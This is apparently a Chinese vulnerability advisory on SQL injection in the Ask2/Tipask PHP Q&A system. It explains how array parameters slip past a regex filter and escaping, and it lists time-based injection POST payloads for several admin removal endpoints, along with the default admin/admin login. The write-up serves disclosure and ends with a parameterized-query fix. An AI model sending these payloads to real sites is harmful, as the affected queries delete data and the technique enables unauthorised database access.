先来看看该套源码的整体防注入:GPC转义+360的防御正则 很粗暴有没有,不过这里利用的是数组全面绕过360的防御正则,然后找到一些没有单引号包含的点,从而绕过单引号转义,绕过这两个,自然可以无限制任意注入初始化过滤在D:\wamp\www\ask2V3.1.1\model\sowenda.class.php中init_request函数,在大概第60行 ``` $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); ``` 这里进行转义,合并get ,post变量,checkattck检测等一些操作,这里如果post输入端提交的变量是数组的话,那么$this->post这个将是一个二维数组,即数组里面套数组,然后被带入到checkattack函数中进行一些正则的检测(这个正则就是360写的,很粗暴,就算绕过,获取的数据也很有限)checkattack函数在D:\wamp\www\tipask\lib\global.func.php中 ``` function checkattack($reqarr, $reqtype = 'post') { $filtertable = array( 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' =>...
先来看看该套源码的整体防注入:GPC转义+360的防御正则 很粗暴有没有,不过这里利用的是数组全面绕过360的防御正则,然后找到一些没有单引号包含的点,从而绕过单引号转义,绕过这两个,自然可以无限制任意注入初始化过滤在D:\wamp\www\ask2V3.1.1\model\sowenda.class.php中init_request函数,在大概第60行 ``` $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); ``` 这里进行转义,合并get ,post变量,checkattck检测等一些操作,这里如果post输入端提交的变量是数组的话,那么$this->post这个将是一个二维数组,即数组里面套数组,然后被带入到checkattack函数中进行一些正则的检测(这个正则就是360写的,很粗暴,就算绕过,获取的数据也很有限)checkattack函数在D:\wamp\www\tipask\lib\global.func.php中 ``` function checkattack($reqarr, $reqtype = 'post') { $filtertable = array( 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey => $reqvalue) { if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) { print('Illegal operation!'); exit(-1); } } } ``` 可以看到如果$reqarr是一维数组的话,那么自然被过滤了,如果$reqarr是二维数组的话,就绕过了这个函数 在D:\wamp\www\ask2V3.1.1\control\message.php中的onremove函数 ``` function onremove() { if (isset($this->post['submit'])) { $inbox = $this->post['messageid']['inbox']; $outbox = $this->post['messageid']['outbox']; if ($inbox) $_ENV['message']->remove("inbox", $inbox); if ($outbox) $_ENV['message']->remove("outbox", $outbox); $this->message("消息删除成功!", get_url_source()); } } ``` 如果我提交的变量messageid是数组(包含inbox和outbox)的话,自然可以绕过上面说的哪两种防注入,然后inbox和outbox变量分别被带入 ``` $_ENV['message']->remove("inbox", $inbox); $_ENV['message']->remove("outbox", $outbox); ``` 执行,跟进remove函数 ``` function remove($type, $msgids) { $messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids; if ('inbox' == $type) { $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)"); $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)"); $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)"); } else { $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)"); $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)"); } } ``` 可以看到变量msgids直接被拼接到了SQL语句中,造成注入  以上内容来自用户 @404notfound --- ### 0x00 漏洞分析 首先我们需要有管理员的账号密码,在本系统中默认是admin/admin。 关于如何绕过`checkattack`函数请看https://www.seebug.org/vuldb/ssvid-92230 下面来看注入点: - `/control/admin/word.php`第24-34行: ```php function onadd() { if (isset($this->post['submit']) && $this->post['id']) { $ids = implode(",", $this->post['id']); $_ENV['badword']->remove_by_id($ids); $message = "删除成功!"; } else { $_ENV['badword']->add($this->post['wid'], $this->post['find'], $this->post['replacement'], $this->user['username']); $message = "修改成功!"; } $this->ondefault($message); } ``` 我们为绕过`checkout`传递的数组到这里被逐项连接起来然后传入`remove_by_id`函数,跟进`/model/badword.class.php`第46-48行: ```php function remove_by_id($ids){ $this->db->query("DELETE FROM ".DB_TABLEPRE."badword WHERE `id` IN ($ids)"); } ``` 连接后的数组直接被带入查询且无需引号闭合,可以进行注入,可以通过如下请求进行测试(注:**所有这些注入点都涉及到删除请求,请谨慎测试**) - URL:http://127.0.0.1:8888/index.php?admin_word/add - POST: `submit=111&id[]=111&id[]=111 and (select * from (select sleep(5))a)` 提交后我们可以发现延时现象,或者当MySQL开启query log的时候我们可以通过查query log来确定语句的执行。以下几处问题类似,不再详细说明。 - `/control/admin/note.php`第50-58行: ```php function onremove() { $message = '没有选择公告!'; if (isset($this->post['delete'])) { $ids = implode(",", $this->post['delete']); $_ENV['note']->remove_by_id($ids); $message = '公告刪除成功!'; } $this->ondefault($message); } ``` `/model/note.class.php`第51-53行: ```php function remove_by_id($ids) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "note` WHERE `id` IN ($ids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_note/remove - POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)` - `/control/admin/datacall.php`第52-58行: ```php function onremove() { if(isset($this->post['delete'])) { $ids = implode($this->post['delete'],","); $_ENV['datacall']->remove_by_id($ids); $this->ondefault(); } } ``` `/model/datacall.class.php`第40-42行: ```php function remove_by_id($ids) { $this->db->query("DELETE FROM `".DB_TABLEPRE."datacall` WHERE `id` IN ($ids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_datacall/remove - POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)` - `/control/admin/gift.php`第123-132行: ```php function onremove() { $message = '没有选择礼品!'; if (isset($this->post['gid'])) { $gids = implode(",", $this->post['gid']); $_ENV['gift']->remove_by_id($gids); $message = '礼品删除成功!'; unset($this->get); } $this->ondefault($message); } ``` `/model/gift.class.php`第60-62行: ```php function remove_by_id($ids) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "gift` WHERE `id` IN ($ids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_gift/remove - POST: `gid[]=111&gid[]=111 and (select * from (select sleep(5))a)` - `/control/admin/category.php`第97-104行: ```php function onremove() { if (isset($this->post['cid'])) { $cids = implode(",", $this->post['cid']); $pid = intval($this->post['hiddencid']); $_ENV['category']->remove($cids); $this->onview($pid, '分类删除成功!'); } } ``` `/model/category.class.php`第172-176行: ```php function remove($cids) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "category` WHERE `id` IN ($cids)"); $this->db->query("DELETE FROM `" . DB_TABLEPRE . "question` WHERE `cid` IN ($cids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_category/remove - POST: `hiddencid=111&cid[]=111&cid[]=111 and (select * from (select sleep(5))a)` - `/control/admin/expert.php`第52-59行: ```php function onremove() { if (count($this->post['delete'])) { $_ENV['expert']->remove(implode(',', $this->post['delete'])); $type = 'correctmsg'; $message = "删除成功!"; $this->ondefault($message); } } ``` `/model/expert.class.php`第55-58行: ```php function remove($uids) { $this->db->query("UPDATE " . DB_TABLEPRE . "user SET `expert`=0 WHERE uid IN ($uids)"); $this->db->query("DELETE FROM " . DB_TABLEPRE . "user_category WHERE uid IN ($uids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_expert/remove - POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)` - `/control/admin/topic.php`第132-138行: ```php function onremove() { if (isset($this->post['tid'])) { $tids = implode(",", $this->post['tid']); $_ENV['topic']->remove($tids); $this->ondefault('专题删除成功!'); } } ``` `/model/topic.class.php`第174-177行: ```php function remove($tids) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "topic` WHERE `id` IN ($tids)"); $this->db->query("DELETE FROM `" . DB_TABLEPRE . "tid_qid` WHERE `tid` IN ($tids)"); } ``` - URL:http://127.0.0.1:8888/index.php?admin_topic/remove - POST: `tid[]=111&tid[]=111 and (select * from (select sleep(5))a)` - `/control/admin/user.php`第98-105行: ```php function onremove() { if (isset($this->post['uid'])) { $uids = implode(",", $this->post['uid']); $all = isset($this->get[2]) ? 1 : 0; $_ENV['user']->remove($uids, $all); $this->ondefault('用户删除成功!'); } } ``` `/model/user.class.php`第233-242行: ```php function remove($uids, $all = 0) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "user` WHERE `uid` IN ($uids)"); $this->db->query("DELETE FROM `" . DB_TABLEPRE . "famous` WHERE `uid` IN ($uids)"); /* 删除问题和回答 */ if ($all) { $this->db->query("DELETE FROM `" . DB_TABLEPRE . "question` WHERE `authorid` IN ($uids)"); $this->db->query("DELETE FROM `" . DB_TABLEPRE . "answer` WHERE `authorid` IN ($uids)"); $this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET answers=answers-1 WHERE `authorid` IN ($uids)"); } } ``` - URL:http://127.0.0.1:8888/index.php?admin_user/remove - POST: `tid[]=111&tid[]=111 and (select * from (select sleep(5))a)` ### 0x01 修复建议 - 对厂商来讲,采用参数化查询 - 对用户来讲,在厂商更新后及时进行更新 ### 0x02 参考 https://www.seebug.org/vuldb/ssvid-92230